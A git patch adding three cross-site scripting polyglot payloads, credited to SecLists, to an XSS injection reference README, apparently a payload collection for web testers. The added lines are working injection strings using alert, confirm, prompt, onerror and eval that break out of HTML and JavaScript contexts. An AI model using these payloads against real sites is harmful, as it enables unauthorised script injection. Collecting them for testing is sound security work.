From 081df9b24d19741a9e85f7310ddf8e24f3b17cff Mon Sep 17 00:00:00 2001
From: omer citak <mail@omercitak.com>
Date: Fri, 16 Nov 2018 14:45:51 +0300
Subject: [PATCH] add new attack patterns from Daniel miessler

https://github.com/danielmiessler/SecLists/edit/master/Fuzzing/Polyglots/XSS-Polyglots.txt
new attack patterns: line 1, 2, 3.
---
 XSS injection/README.md | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/XSS injection/README.md b/XSS injection/README.md
index 5c72b63..c828acc 100644
--- a/XSS injection/README.md	
+++ b/XSS injection/README.md	
@@ -328,6 +328,9 @@ Polyglot XSS - Rsnake
 Polyglot XSS - Daniel Miessler
 
 ```javascript
+';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
+“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
+'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
 javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
 javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
 javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/